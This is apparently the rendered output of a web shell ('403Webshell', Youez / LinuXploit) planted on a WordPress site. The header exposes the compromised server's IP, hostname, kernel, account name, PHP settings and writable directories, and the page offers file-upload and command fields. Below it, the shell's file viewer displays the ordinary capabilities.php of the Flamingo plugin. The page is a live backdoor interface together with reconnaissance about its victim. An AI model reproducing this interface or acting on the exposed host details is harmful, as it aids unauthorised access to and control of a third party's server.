403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.17.3
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/flamingo/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/flamingo/includes/capabilities.php
<?php

add_filter( 'map_meta_cap', 'flamingo_map_meta_cap', 10, 4 );

function flamingo_map_meta_cap( $caps, $cap, $user_id, $args ) {
	$meta_caps = array(
		'flamingo_edit_contact' => 'edit_users',
		'flamingo_edit_contacts' => 'edit_users',
		'flamingo_delete_contact' => 'edit_users',
		'flamingo_edit_inbound_message' => 'edit_users',
		'flamingo_edit_inbound_messages' => 'edit_users',
		'flamingo_delete_inbound_message' => 'edit_users',
		'flamingo_delete_inbound_messages' => 'edit_users',
		'flamingo_spam_inbound_message' => 'edit_users',
		'flamingo_unspam_inbound_message' => 'edit_users',
	);

	$meta_caps = apply_filters( 'flamingo_map_meta_cap', $meta_caps );

	$caps = array_diff( $caps, array_keys( $meta_caps ) );

	if ( isset( $meta_caps[$cap] ) ) {
		$caps[] = $meta_caps[$cap];
	}

	return $caps;
}

Youez - 2016 - github.com/yon3zu
LinuXploit